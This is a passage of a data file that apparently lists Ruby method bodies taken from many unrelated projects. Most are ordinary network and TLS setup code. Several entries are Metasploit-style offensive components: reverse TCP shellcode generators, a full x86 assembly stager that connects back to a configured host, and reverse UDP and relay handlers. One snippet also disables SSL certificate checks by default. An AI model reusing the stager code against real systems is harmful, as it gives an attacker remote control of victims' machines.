false\r\n @persistent_tcp = false\r\n @dnssec = false\r\n \r\n if (arg==nil)\r\n # Get default config\r\n config = Config.new\r\n @server = config.nameserver[0]\r\n elsif (arg.kind_of?String)\r\n @server=arg\r\n elsif (arg.kind_of?Hash)\r\n arg.keys.each do |attr|\r\n begin\r\n send(attr.to_s+\"=\", arg[attr])\r\n rescue Exception\r\n TheLog.error(\"Argument #{attr} not valid\\n\")\r\n end\r\n # end\r\n end\r\n end\r\n #Check server is IP\r\n @server=Config.resolve_server(@server)\r\n \r\n end", "def configure_server(options = T.unsafe(nil)); end", "def start_handler\n queue = ::Queue.new\n\n local_port = bind_port\n\n self.listener_thread = framework.threads.spawn(\"ReverseUdpHandlerListener-#{local_port}\", false, queue) { |lqueue|\n loop do\n # Accept a client connection\n begin\n inbound, peerhost, peerport = self.listener_sock.recvfrom\n next if peerhost.nil?\n cli_opts = {\n 'PeerPort' => peerport,\n 'PeerHost' => peerhost,\n 'LocalPort' => self.listener_sock.localport,\n 'Comm' => self.listener_sock.respond_to?(:comm) ? self.listener_sock.comm : nil\n }\n\n # unless ['::', '0.0.0.0'].any? {|alladdr| self.listener_sock.localhost == alladdr }\n # cli_opts['LocalHost'] = self.listener_sock.localhost\n # end\n\n client = Rex::Socket.create_udp(cli_opts)\n client.extend(Rex::IO::Stream)\n if ! client\n wlog(\"ReverseUdpHandlerListener-#{local_port}: No client received in call to accept, exiting...\")\n break\n end\n\n self.pending_connections += 1\n lqueue.push([client,inbound])\n rescue ::Exception\n wlog(\"ReverseUdpHandlerListener-#{local_port}: Exception raised during listener accept: #{$!}\\n\\n#{$@.join(\"\\n\")}\")\n break\n end\n end\n }\n\n self.handler_thread = framework.threads.spawn(\"ReverseUdpHandlerWorker-#{local_port}\", false, queue) { |cqueue|\n loop do\n begin\n client, inbound = cqueue.pop\n\n if ! client\n elog(\"ReverseUdpHandlerWorker-#{local_port}: Queue returned an empty result, exiting...\")\n break\n end\n\n # Timeout and datastore options need to be passed through to the client\n opts = {\n :datastore => datastore,\n :expiration => datastore['SessionExpirationTimeout'].to_i,\n :comm_timeout => datastore['SessionCommunicationTimeout'].to_i,\n :retry_total => datastore['SessionRetryTotal'].to_i,\n :retry_wait => datastore['SessionRetryWait'].to_i,\n :udp_session => inbound\n }\n\n if datastore['ReverseListenerThreaded']\n self.conn_threads << framework.threads.spawn(\"ReverseUdpHandlerSession-#{local_port}-#{client.peerhost}\", false, client) { |client_copy|\n handle_connection(client_copy, opts)\n }\n else\n handle_connection(client, opts)\n end\n rescue ::Exception => e\n elog('Exception raised from handle_connection', error: e)\n end\n end\n }\n\n end", "def initialize settings\n @settings = settings\n confirm_settings\n if fast?\n info(\"Forwarding for #{settings['host']}...\") if settings['verbose']\n else\n initialize_host_groups\n initialize_templates\n initialize_host\n initialize_applications\n info(\"Forwarding for #{host.name}...\") if settings['verbose']\n end\n end", "def initialize_http_handler(args = {})\n @http = HTTPHandler.new(args)\n logger.debug { \"Connection Set: #{http.to_s}\" }\n end", "def initialize(params = {})\n @pid = Process.pid\n @data = Excon.defaults.dup\n # merge does not deep-dup, so make sure headers is not the original\n @data[:headers] = @data[:headers].dup\n\n # the same goes for :middlewares\n @data[:middlewares] = @data[:middlewares].dup\n\n @data.merge!(params)\n validate_params(:connection, @data, @data[:middlewares])\n\n if @data.key?(:host) && !@data.key?(:hostname)\n Excon.display_warning('hostname is missing! For IPv6 support, provide both host and hostname: Excon::Connection#new(:host => uri.host, :hostname => uri.hostname, ...).')\n @data[:hostname] = @data[:host]\n end\n\n setup_proxy\n\n if ENV.has_key?('EXCON_STANDARD_INSTRUMENTOR')\n @data[:instrumentor] = Excon::StandardInstrumentor\n end\n\n if @data[:debug] || ENV.has_key?('EXCON_DEBUG')\n @data[:debug_request] = @data[:debug_response] = true\n @data[:instrumentor] = Excon::StandardInstrumentor\n end\n\n if @data[:scheme] == UNIX\n # 'uri' >= v0.12.0 returns an empty string instead of nil for no host.\n # So treat the parameter as present if and only if it is both non-nill and non-empty.\n if @data[:host] && !@data[:host].empty?\n raise ArgumentError, \"The `:host` parameter should not be set for `unix://` connections.\\n\" +\n \"When supplying a `unix://` URI, it should start with `unix:/` or `unix:///`.\"\n elsif !@data[:socket]\n raise ArgumentError, 'You must provide a `:socket` for `unix://` connections'\n else\n @socket_key = \"#{@data[:scheme]}://#{@data[:socket]}\"\n end\n else\n @socket_key = \"#{@data[:scheme]}://#{@data[:host]}#{port_string(@data)}\"\n end\n reset\n end", "def initialize_http_handler(args = {})\n @http = HTTPHandler.new(args)\n logger.debug { \"Connection Set: #{http.to_s}\" }\n end", "def initialize(options = {})\n @options = DEFAULT_OPTIONS.merge options\n @protocol_options = (options.delete(:protocol) || {}).dup\n @run = true\n @thread_list = []\n @protocols = []\n end", "def initialize(config)\n @reactor = config.reactor\n incoming = Address.from_string(config.incoming_endpoint.to_s)\n outgoing = Address.from_string(config.outgoing_endpoint.to_s)\n\n # setup the handlers for processing messages\n @handler_in = Handler.new(config, incoming, :in)\n @handler_out = Handler.new(config, outgoing, :out)\n\n # create each socket and pass in the appropriate handler\n @incoming_sock = @reactor.xrep_socket(@handler_in)\n @outgoing_sock = @reactor.xreq_socket(@handler_out)\n\n # set each handler's outgoing socket\n @handler_in.socket_out = @outgoing_sock\n @handler_out.socket_out = @incoming_sock\n end", "def initialize(options) # :yield: mesg\n @options = options\n @options[\"Host\"] = \"localhost\" unless @options.has_key?(\"Host\")\n @options[\"Port\"] = 23 unless @options.has_key?(\"Port\")\n @options[\"Prompt\"] = /[$%#>] \\z/n unless @options.has_key?(\"Prompt\")\n @options[\"Timeout\"] = 10 unless @options.has_key?(\"Timeout\")\n @options[\"Waittime\"] = 0 unless @options.has_key?(\"Waittime\")\n unless @options.has_key?(\"Binmode\")\n @options[\"Binmode\"] = false\n else\n unless (true == @options[\"Binmode\"] or false == @options[\"Binmode\"])\n raise ArgumentError, \"Binmode option must be true or false\"\n end\n end\n\n unless @options.has_key?(\"Telnetmode\")\n @options[\"Telnetmode\"] = true\n else\n unless (true == @options[\"Telnetmode\"] or false == @options[\"Telnetmode\"])\n raise ArgumentError, \"Telnetmode option must be true or false\"\n end\n end\n\n @telnet_option = { \"SGA\" => false, \"BINARY\" => false }\n\n if @options.has_key?(\"Output_log\")\n @log = File.open(@options[\"Output_log\"], 'a+')\n @log.sync = true\n @log.binmode\n end\n\n if @options.has_key?(\"Dump_log\")\n @dumplog = File.open(@options[\"Dump_log\"], 'a+')\n @dumplog.sync = true\n @dumplog.binmode\n def @dumplog.log_dump(dir, x) # :nodoc:\n len = x.length\n addr = 0\n offset = 0\n while 0 < len\n if len < 16\n line = x[offset, len]\n else\n line = x[offset, 16]\n end\n hexvals = line.unpack('H*')[0]\n hexvals += ' ' * (32 - hexvals.length)\n hexvals = format(\"%s %s %s %s \" * 4, *hexvals.unpack('a2' * 16))\n line = line.gsub(/[\\000-\\037\\177-\\377]/n, '.')\n printf \"%s 0x%5.5x: %s%s\\n\", dir, addr, hexvals, line\n addr += 16\n offset += 16\n len -= 16\n end\n print \"\\n\"\n end\n end\n\n if @options.has_key?(\"Proxy\")\n if @options[\"Proxy\"].kind_of?(Net::Telnet)\n @sock = @options[\"Proxy\"].sock\n elsif @options[\"Proxy\"].kind_of?(IO)\n @sock = @options[\"Proxy\"]\n else\n raise \"Error: Proxy must be an instance of Net::Telnet or IO.\"\n end\n else\n message = \"Trying \" + @options[\"Host\"] + \"...\\n\"\n yield(message) if block_given?\n @log.write(message) if @options.has_key?(\"Output_log\")\n @dumplog.log_dump('#', message) if @options.has_key?(\"Dump_log\")\n\n begin\n if @options[\"Timeout\"] == false\n @sock = TCPSocket.open(@options[\"Host\"], @options[\"Port\"])\n else\n Timeout.timeout(@options[\"Timeout\"], Net::OpenTimeout) do\n @sock = TCPSocket.open(@options[\"Host\"], @options[\"Port\"])\n end\n end\n rescue Net::OpenTimeout\n raise Net::OpenTimeout, \"timed out while opening a connection to the host\"\n rescue\n @log.write($ERROR_INFO.to_s + \"\\n\") if @options.has_key?(\"Output_log\")\n @dumplog.log_dump('#', $ERROR_INFO.to_s + \"\\n\") if @options.has_key?(\"Dump_log\")\n raise\n end\n @sock.sync = true\n @sock.binmode\n\n message = \"Connected to \" + @options[\"Host\"] + \".\\n\"\n yield(message) if block_given?\n @log.write(message) if @options.has_key?(\"Output_log\")\n @dumplog.log_dump('#', message) if @options.has_key?(\"Dump_log\")\n end\n\n end", "def initialize(options = {})\n @follow_redirect = true\n @redirect_limit = 5\n @ssl_verify_mode = OpenSSL::SSL::VERIFY_NONE\n @get_request = false\n @port = 80\n @port = URI.parse(options[:host]).port if options[:host]\n #@code = nil\n @user_agent = 'net-ping2'\n super(options)\n end", "def setup(options)\n @server = options[:server]\n @token = options[:token]\n @channel = options[:channel]\n @data = options[:data]\n end", "def initialize( options={} )\n\t\toptions = DEFAULT_OPTIONS.merge( options )\n\n\t\t@host = options[:host]\n\t\t@port = options[:port]\n\t\t@connect_type = options[:connect_type]\n\t\t@results_class = options[:results_class]\n\n\t\t@conn = nil\n\t\t@bound_user = nil\n\n\n\t\t@object_conversions = DEFAULT_OBJECT_CONVERSIONS.dup\n\t\t@attribute_conversions = DEFAULT_ATTRIBUTE_CONVERSIONS.dup\n\t\t@registered_controls = []\n\n\t\t@base_dn = options[:base_dn] || self.get_default_base_dn\n\t\t@base = nil\n\n\t\t# Immediately bind if credentials are passed to the initializer.\n\t\tif ( options[:bind_dn] && options[:pass] )\n\t\t\tself.bind( options[:bind_dn], options[:pass] )\n\t\tend\n\tend", "def initialize options = {}\n options[:DoNotListen] = true\n sockets_key = options.delete(:LaunchdSockets) || 'WEBrickSockets'\n\n super\n\n launch_checkin\n\n servers = launch_sockets sockets_key, TCPServer\n\n listeners.replace servers\n\n trap 'TERM' do shutdown end\n end", "def initialize(mode, type, **options)\n fail ArgumentError unless %i(bind connect).include? mode\n @context = options[:context] || EZMQ::Context.new\n @socket = @context.socket type\n @encode = options[:encode] || -> m { m }\n @decode = options[:decode] || -> m { m }\n endpoint = options.select { |k, _| %i(transport address port).include? k }\n method(mode).call endpoint\n end", "def initialize(options = {})\n @options = {\n logger: nil,\n transport: 'tls',\n port: 0,\n address: '0.0.0.0',\n ssl_certificate: nil,\n ssl_key: nil,\n ssl_key_passphrase: nil,\n ssl_verify: false,\n ssl_verify_default_ca: false,\n ssl_verify_ca: nil,\n max_packet_size: 10_485_760,\n add_peer_fields: false,\n min_tls_version: 1.2,\n disable_handshake: false,\n }.merge!(options)\n\n @logger = @options[:logger]\n\n if @options[:transport] == 'tls'\n [:ssl_certificate, :ssl_key].each do |k|\n raise \"input/courier: '#{k}' is required\" if @options[k].nil?\n end\n\n if @options[:ssl_verify] && (!@options[:ssl_verify_default_ca] && @options[:ssl_verify_ca].nil?)\n raise 'input/courier: Either \\'ssl_verify_default_ca\\' or \\'ssl_verify_ca\\' must be specified when ssl_verify is true'\n end\n end\n\n begin\n @tcp_server = ExtendedTCPServer.new(@options[:address], @options[:port])\n\n # Query the port in case the port number is '0'\n # TCPServer#addr == [ address_family, port, address, address ]\n @port = @tcp_server.addr[1]\n\n if @options[:transport] == 'tls'\n ssl = OpenSSL::SSL::SSLContext.new\n\n # Disable SSLv2 and SSLv3\n # Call set_params first to ensure options attribute is there (hmmmm?)\n ssl.set_params\n # Modify the default options to ensure SSLv2 and SSLv3 is disabled\n # This retains any beneficial options set by default in the current Ruby implementation\n # TODO: https://github.com/jruby/jruby-openssl/pull/215 is fixed in JRuby 9.3.0.0\n # As of 7.15 Logstash, JRuby version is still 9.2\n # Once 9.3 is in use we can switch to using min_version and max_version\n ssl.options |= OpenSSL::SSL::OP_NO_SSLv2\n ssl.options |= OpenSSL::SSL::OP_NO_SSLv3\n ssl.options |= OpenSSL::SSL::OP_NO_TLSv1 if @options[:min_tls_version] > 1\n ssl.options |= OpenSSL::SSL::OP_NO_TLSv1_1 if @options[:min_tls_version] > 1.1\n ssl.options |= OpenSSL::SSL::OP_NO_TLSv1_2 if @options[:min_tls_version] > 1.2\n raise 'Invalid min_tls_version - max is 1.3' if @options[:min_tls_version] > 1.3\n\n # Set the certificate file\n ssl.cert = OpenSSL::X509::Certificate.new(File.read(@options[:ssl_certificate]))\n ssl.key = OpenSSL::PKey::RSA.new(File.read(@options[:ssl_key]), @options[:ssl_key_passphrase])\n\n if @options[:ssl_verify]\n cert_store = OpenSSL::X509::Store.new\n\n # Load the system default certificate path to the store\n cert_store.set_default_paths if @options[:ssl_verify_default_ca]\n\n if File.directory?(@options[:ssl_verify_ca])\n cert_store.add_path(@options[:ssl_verify_ca])\n else\n cert_store.add_file(@options[:ssl_verify_ca])\n end\n\n ssl.cert_store = cert_store\n\n ssl.verify_mode = OpenSSL::SSL::VERIFY_PEER | OpenSSL::SSL::VERIFY_FAIL_IF_NO_PEER_CERT\n end\n\n # Create the OpenSSL server - set start_immediately to false so we can multithread handshake\n @server = OpenSSL::SSL::SSLServer.new(@tcp_server, ssl)\n @server.start_immediately = false\n else\n @server = @tcp_server\n end\n\n @logger&.warn 'Ephemeral port allocated', transport: @options[:transport], port: @port if @options[:port].zero?\n rescue StandardError => e\n raise \"input/courier: Failed to initialise: #{e}\"\n end\n end", "def generate_reverse_tcp(opts={})\n asm = asm_reverse_tcp(opts)\n buf = Metasm::Shellcode.assemble(Metasm::X64.new, asm).encode_string\n apply_prepends(buf)\n end", "def generate_reverse_tcp(opts={})\n asm = asm_reverse_tcp(opts)\n buf = Metasm::Shellcode.assemble(Metasm::X86.new, asm).encode_string\n apply_prepends(buf)\n end", "def configure_socket(options, env)\n bind = request_options(env)[:bind]\n return unless bind\n\n options[:bind] = {\n host: bind[:host],\n port: bind[:port]\n }\n end", "def initialize(args = {})\n @local_host = args[:local_host] || '0.0.0.0'\n @local_port = args[:local_port] || MQTT::DEFAULT_PORT\n @server_host = args[:server_host]\n @server_port = args[:server_port] || 18_830\n @select_timeout = args[:select_timeout] || 60\n\n # Setup a logger\n @logger = args[:logger]\n if @logger.nil?\n @logger = Logger.new(STDOUT)\n @logger.level = Logger::INFO\n end\n\n # Default is not to have any filters\n @client_filter = nil\n @server_filter = nil\n\n # Create TCP server socket\n @server = TCPServer.open(@local_host, @local_port)\n @logger.info \"MQTT::Proxy listening on #{@local_host}:#{@local_port}\"\n end", "def setup_handler\n\t\t# Start the HTTP server service on this host/port\n\t\tself.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,\n\t\t\tdatastore['PXPORT'].to_i, datastore['PXHOST'])\n\n\t\t# Add the new resource\n\t\tservice.add_resource(datastore['PXURI'],\n\t\t\t'Proc' => Proc.new { |cli, req|\n\t\t\t\ton_request(cli, req)\n\t\t\t},\n\t\t\t'VirtualDirectory' => true)\n\n\t\tdlog(\"PassiveX listener started on http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}\", 'core', LEV_2)\n\n\t\tprint_status(\"PassiveX listener started.\")\n\tend", "def initialize(config)\n @reactor = config.reactor\n incoming = Address.from_string(config.incoming_endpoint.to_s)\n outgoing = Address.from_string(config.outgoing_endpoint.to_s)\n\n # setup the handlers for processing messages\n @handler_in = Handler.new(config, incoming)\n @handler_out = Handler.new(config, outgoing)\n\n # create each socket and pass in the appropriate handler\n @incoming_sock = @reactor.sub_socket(@handler_in)\n @outgoing_sock = @reactor.pub_socket(@handler_out)\n\n # set each handler's outgoing socket\n @handler_in.socket_out = @outgoing_sock\n @handler_out.socket_out = @incoming_sock\n end", "def initsock(params = nil)\n if (params)\n self.peerhost = params.peerhost\n self.peerhostname = params.peerhostname\n self.peerport = params.peerport\n self.localhost = params.localhost\n self.localport = params.localport\n self.context = params.context || {}\n self.ipv = params.v6 ? 6 : 4\n end\n end", "def initialize(options = {})\n super\n @uri = options[:uri] || \"druby://127.0.0.1:7632\"\n @timeout = options[:timeout] || 0\n @prior_values = {}\n end", "def initialize(info = {})\n\t\tsuper\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOptAddress.new('PXHOST', [ true, \"The local HTTP listener hostname\" ]),\n\t\t\t\tOptPort.new('PXPORT', [ true, \"The local HTTP listener port\", 8000 ]),\n\t\t\t\tOptString.new('PXURI', [ false, \"The URI root for requests\", \"/\" + Rex::Text.rand_text_alphanumeric(32) ]),\n\t\t\t\tOptString.new('PXAXCLSID', [ true, \"ActiveX CLSID\", \"B3AC7307-FEAE-4e43-B2D6-161E68ABA838\" ]),\n\t\t\t\tOptString.new('PXAXVER', [ true, \"ActiveX DLL Version\", \"-1,-1,-1,-1\" ]),\n\t\t\t], Msf::Handler::PassiveX)\n\n\t\t# Initialize the start of the localized SID pool\n\t\tself.sid_pool = 0\n\t\tself.session_channels = Hash.new\n\t\tself.handler_ref = PxRef.new\n\tend", "def setup_socket\n self.socket = Socket.new(Socket::AF_INET, Socket::SOCK_STREAM, 0)\n address = Socket.pack_sockaddr_in(@options[:port], @options[:host])\n socket.bind(address)\n socket.listen(@options[:max_connection_queue])\n log.info(\"Listening on #{@options[:host]}:#{@options[:port]}\")\n end", "def initialize(handler: nil, proxy_host: nil, proxy_port: nil)\n self.handler = handler\n self.proxy_host = proxy_host\n self.proxy_port = proxy_port\n end", "def asm_reverse_tcp(opts={})\n\n retry_count = [opts[:retry_count].to_i, 1].max\n encoded_port = \"0x%.8x\" % [opts[:port].to_i,2].pack(\"vn\").unpack(\"N\").first\n encoded_host = \"0x%.8x\" % Rex::Socket.addr_aton(opts[:host]||\"127.127.127.127\").unpack(\"V\").first\n\n addr_fam = 2\n sockaddr_size = 16\n\n asm = %Q^\n ; Input: EBP must be the address of 'api_call'.\n ; Output: EDI will be the socket for the connection to the server\n ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)\n\n reverse_tcp:\n push '32' ; Push the bytes 'ws2_32',0,0 onto the stack.\n push 'ws2_' ; ...\n push esp ; Push a pointer to the \"ws2_32\" string on the stack.\n push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}\n mov eax, ebp\n call eax ; LoadLibraryA( \"ws2_32\" )\n\n mov eax, 0x0190 ; EAX = sizeof( struct WSAData )\n sub esp, eax ; alloc some space for the WSAData structure\n push esp ; push a pointer to this stuct\n push eax ; push the wVersionRequested parameter\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}\n call ebp ; WSAStartup( 0x0190, &WSAData );\n\n set_address:\n push #{retry_count} ; retry counter\n\n create_socket:\n push #{encoded_host} ; host in little-endian format\n push #{encoded_port} ; family AF_INET and port number\n mov esi, esp ; save pointer to sockaddr struct\n\n push eax ; if we succeed, eax will be zero, push zero for the flags param.\n push eax ; push null for reserved parameter\n push eax ; we do not specify a WSAPROTOCOL_INFO structure\n push eax ; we do not specify a protocol\n inc eax ;\n push eax ; push SOCK_STREAM\n inc eax ;\n push eax ; push AF_INET\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}\n call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );\n xchg edi, eax ; save the socket for later, don't care about the value of eax after this\n ^\n # Check if a bind port was specified\n if opts[:bind_port]\n bind_port = opts[:bind_port]\n encoded_bind_port = \"0x%.8x\" % [bind_port.to_i,2].pack(\"vn\").unpack(\"N\").first\n asm << %Q^\n xor eax, eax\n push 11\n pop ecx\n push_0_loop:\n push eax ; if we succeed, eax will be zero, push it enough times\n ; to cater for both IPv4 and IPv6\n loop push_0_loop\n\n ; bind to 0.0.0.0/[::], pushed above\n push #{encoded_bind_port} ; family AF_INET and port number\n mov esi, esp ; save a pointer to sockaddr_in struct\n push #{sockaddr_size} ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)\n push esi ; pointer to the sockaddr_in struct\n push edi ; socket\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}\n call ebp ; bind( s, &sockaddr_in, 16 );\n push #{encoded_host} ; host in little-endian format\n push #{encoded_port} ; family AF_INET and port number\n mov esi, esp\n ^\n end\n\n asm << %Q^\n try_connect:\n push 16 ; length of the sockaddr struct\n push esi ; pointer to the sockaddr struct\n push edi ; the socket\n push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}\n call ebp ; connect( s, &sockaddr, 16 );\n\n test eax,eax ; non-zero means a failure\n jz connected\n\n handle_connect_failure:\n ; decrement our attempt count and try again\n dec dword [esi+8]\n jnz try_connect\n ^\n\n if opts[:exitfunk]\n asm << %Q^\n failure:\n call exitfunk\n ^\n else\n asm << %Q^\n failure:\n push 0x56A2B5F0 ; hardcoded to exitprocess for size\n call ebp\n ^\n end\n\n asm << %Q^\n ; this lable is required so that reconnect attempts include\n ; the UUID stuff if required.\n connected:\n ^\n\n asm << asm_send_uuid if include_send_uuid\n\n asm\n end", "def accept_reverse_relay(rrfd)\n\n rfd = rrfd.accept_nonblock\n\n return unless rfd\n\n lfd = Rex::Socket::Tcp.create(\n 'PeerHost' => rrfd.relay.opts['PeerHost'],\n 'PeerPort' => rrfd.relay.opts['PeerPort'],\n 'Timeout' => 5\n )\n\n rfd.extend(Stream)\n lfd.extend(Stream)\n\n rfd.relay = rrfd.relay\n lfd.relay = rrfd.relay\n\n self.rfds << lfd\n self.rfds << rfd\n\n rfd.other_stream = lfd\n lfd.other_stream = rfd\n end", "def initialize(nickname, server, options={})\n @server = server\n @nickname = nickname\n @options = options\n @port = options[:port]\n @port = 9999 if @port == nil and options[:ssl] != nil\n @port = 6667 if @port == nil\n @handlers = {}\n @raw_handler = nil\n @quit = nil\n @channels = @options[:channels]\n @channels = [] if @channels == nil\n @channels.push(@options[:channel]) unless @options[:channel] == nil\n @password = options[:password]\n end", "def initialize(*args)\n super(*args)\n options = (Hash === args.last) ? args.pop : {}\n @conn_headers = {:login => \"guest\", :passcode => \"guestpass\"}\n @conn_headers.merge!(options)\n @connected = false\n @data_received = []\n #\n @log = Logger::new(STDOUT)\n @log.level = Logger::DEBUG\n end", "def generate_reverse_tcp(opts={})\n combined_asm = %Q^\n cld ; Clear the direction flag.\n call start ; Call start, this pushes the address of 'api_call' onto the stack.\n #{asm_block_api}\n start:\n pop ebp\n #{asm_reverse_tcp(opts)}\n #{asm_block_recv(opts)}\n ^\n Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string\n end", "def initialize(options)\n\n # Initialize the parameters\n self.connected = false\n self.uri = options[:uri]\n self.headers = options[:headers] || {}\n self.protocol = options[:protocol] || 'wamp.2.json'\n self.serializer = options[:serializer] || WampClient::Serializer::JSONSerializer.new\n\n # Add the wamp.2.json protocol header\n self.headers['Sec-WebSocket-Protocol'] = self.protocol\n\n # Initialize callbacks\n @on_open = nil\n @on_close = nil\n @on_message = nil\n @on_error = nil\n\n end", "def initialize options\n self.db_host, self.db_port = options[:uri].to_s.split(':')\n super options\n end", "def initialize(server, user, password, options = {})\n @server = server\n @user = user\n @password = password\n @connection = nil\n @ignore = options[:ignore]\n @recursion_level = 0\n @verbose = options[:verbose] || false\n @passive = options[:passive] || false\n @port = options[:port] || false\n\n end", "def start_reverse_tcp_relay(channel, opts = {})\n opts['__RelayType'] = 'tcp'\n opts['Reverse'] = true\n\n name = \"Reverse-#{opts['LocalPort']}\"\n\n relay = ReverseRelay.new(name, channel, opts)\n\n # dirty hack to get \"relay\" support?\n channel.extend(StreamServer)\n channel.relay = relay\n\n self.relay_mutex.synchronize {\n self.relays[name] = relay\n self.rev_chans << channel\n }\n relay\n end", "def initialize(options={})\n @multi_message_max_count = 0\n \n self.host = options[:host] || DEFAULT_HOST\n self.port = options[:port] || DEFAULT_PORT\n end", "def setup(args={})\n @write_lock = Mutex.new\n @socket = ::File.expand_path(args[:path])\n @srv_name = \"socket_srv_#{name}\".to_sym\n @connection = nil\n @init_args = args\n end", "def initialize(host, options = T.unsafe(nil)); end", "def initialize(params)\n params = params.dup\n @address = params.delete(:address)\n @logger = params.delete(:logger)\n buffered = params.delete(:buffered)\n @buffered = buffered.nil? ? true : buffered\n\n @close_on_error = params.delete(:close_on_error)\n @close_on_error = true if @close_on_error.nil?\n\n raise(ArgumentError, \"Unknown arguments: #{params.inspect}\") if params.size > 0\n\n raise(ArgumentError, 'Missing mandatory parameter: :address') unless @address\n\n super(AF_INET, SOCK_STREAM, 0)\n setsockopt(IPPROTO_TCP, TCP_NODELAY, 1) unless buffered\n end", "def ssl_options=(_arg0); end", "def ssl_options=(_arg0); end", "def initialize(info = {})\n super\n\n register_evasion_options(\n [\n OptBool.new('ONCRPC::tcp_request_fragmentation', [false, 'Enable fragmentation of TCP ONC/RPC requests', false]),\n ], Msf::Exploit::Remote::SunRPC\n )\n\n\n register_advanced_options(\n [\n OptInt.new('TIMEOUT', [true, 'Number of seconds to wait for responses to RPC calls', 10])\n # XXX: Use portmapper to do call - Direct portmap to make the request to the program portmap_req\n ], Msf::Exploit::Remote::SunRPC)\n\n register_options(\n [\n # XXX: XPORT\n Opt::RHOST,\n Opt::RPORT(111),\n ], Msf::Exploit::Remote::SunRPC\n )\n end", "def initialize(*args)\n super\n\n register_advanced_options([\n OptBool.new('StagerVerifySSLCert', [false, 'Whether to verify the SSL certificate hash in the handler', false])\n ], self.class)\n end", "def initialize_for_connect\n @initial_post = true\n @http_requests = 1\n @pending_requests = 0\n @last_send = Time.at(0)\n @previous_send = Time.at(0)\n @send_buffer = ''\n @stream_mechanisms = []\n @stream_features = {}\n end", "def set_sane_defaults\n self.connection_timeout ||= 20\n self.max_send_size = 0 if self.max_send_size.nil?\n self.send_delay = 0 if self.send_delay.nil?\n self.uri = '/' if self.uri.blank?\n self.method = 'GET' if self.method.blank?\n\n # Note that this doesn't cover the case where ssl is unset and\n # port is something other than a default. In that situtation,\n # we don't know what the user has in mind so we have to trust\n # that they're going to do something sane.\n if !(self.ssl) && self.port.nil?\n self.port = self.class::DEFAULT_PORT\n self.ssl = false\n elsif self.ssl && self.port.nil?\n self.port = self.class::DEFAULT_SSL_PORT\n elsif self.ssl.nil? && self.port == self.class::DEFAULT_PORT\n self.ssl = false\n elsif self.ssl.nil? && self.port == self.class::DEFAULT_SSL_PORT\n self.ssl = true\n end\n\n nil\n end", "def initialize(options)\n options.each do |key, value|\n next if %w(host port user password).include?(key)\n instance_variable_set(\"@#{key}\", value)\n end\n\n @max_retry = options[\"proxy_max_fail\"] ||\n ProxyEnforce.config.proxy_max_fail\n\n run_hook :after_initialize\n end", "def initialize( options = {} )\n ensure_reactor!\n\n @options = {\n :reply_by_default => false\n }.merge( options )\n end", "def setup\n @logger = Cabin::Channel.get\n @connect_timeout = 2\n\n # Use a fixed-size string that we set to BINARY encoding.\n # Not all byte sequences are UTF-8 friendly :0\n @read_size = 16384\n @read_buffer = \" \" * @read_size\n @pushback_buffer = \"\"\n\n # Tell Ruby 1.9 that this string is a binary string, not utf-8 or somesuch.\n if @read_buffer.respond_to?(:force_encoding)\n @read_buffer.force_encoding(\"BINARY\")\n end\n\n @inspectables = [:@destinations, :@connected, :@remote_address, :@secure]\n @connected = false\n @remote_address = nil\n @secure = false\n\n # TODO(sissel): Validate @destinations\n # TODO(sissel): Barf if a destination is not of the form \"host:port\"\n end", "def initialize(options)\n pass = nil\n \n # Parsing Options - Set to default values if missing\n if !options.has_key?(\"Host\")\n options[\"Host\"] = \"localhost\"\n end\n \n if !options.has_key?(\"Port\")\n options[\"Port\"] = 1234\n end\n \n if !options.has_key?(\"Timeout\")\n options[\"Timeout\"] = 10 \n end\n \n if options.has_key?(\"Password\")\n pass = options[\"Password\"]\n options.delete(\"Password\")\n end\n \n # Add Prompt to options\n options[\"Prompt\"] = />INFO:OpenVPN.*\\n/\n \n # Create Socket Telnet Connection\n @sock = Net::Telnet::new(options)\n\n # Password Management\n # ----------------------\n # This is just a little trick. \n # The openvpn telnet server for management requests just password without username. \n # The Net::Telnet client wait first for username prompt indeed, so we have to deceive it\n # that there is a user without pass, and this is made inverting the prompt values and \n # sending just pass prompt and pass value :)\n \n\t if !pass.nil?\n \t @sock.login(\"LoginPrompt\" => /ENTER PASSWORD:/, \"Name\" => pass) \n end\n end", "def initialize(sub_addr = \"tcp://localhost:14532\",\n dealer_addr = \"tcp://localhost:14533\",\n filters = [\":PRIVMSG\",\n \":INVITE\",\n \":JOIN\",\n \":BOOT\",\n \":PART\"])\n \n @sub_addr, @dealer_addr, @filters = sub_addr, dealer_addr, filters\n @sub_sock = Clubot.ctx.socket ZMQ::SUB\n @dealer_sock = Clubot.ctx.socket ZMQ::DEALER\n end", "def initialize(options = {})\n\t\t# set some sensible defaults\n\t\t@url = 'https://secure.authorize.net/gateway/transact.dll'\n\t\t@delim_data = 'TRUE'\n\t\t@relay_response = 'FALSE'\n\t\t@version = API_VERSION\n\t\t\n\t\t# include all provided data\n\t\tsuper options\n\tend", "def initialize(options)\n @offset_store = options.fetch(:offset_store, nil)\n @exception_handler = options.fetch(:exception_handler)\n @from_parent = options.fetch(:from_parent)\n @id = options.fetch(:id)\n @handler = options.fetch(:handler)\n @topic = options.fetch(:topic)\n @env = options.fetch(:env)\n @logger = options.fetch(:logger)\n @delay = options.fetch(:delay, 0.5)\n @offset = options.fetch(:offset, next_offset)\n @parsers = Array(options.fetch(:parser, DefaultParser.new))\n @retries = options.fetch(:retries, 3)\n @host = options.fetch(:host, 'localhost')\n @port = options.fetch(:port, 9092)\n end", "def configure_client(options = T.unsafe(nil)); end", "def initialize(options = {}) \n @ssl_strict = options[:ssl_strict] || false\n end", "def initialize(options = {}) \n @ssl_strict = options[:ssl_strict] || false\n end", "def initialize(opts={}, &block)\n @handlers = []\n @workers = ThreadGroup.new\n @acceptor = nil\n @mutex = Mutex.new\n \n @options = opts\n @host = opts[:host] || 'localhost'\n @port = opts[:port] || 9933\n @logger = opts[:logger] || 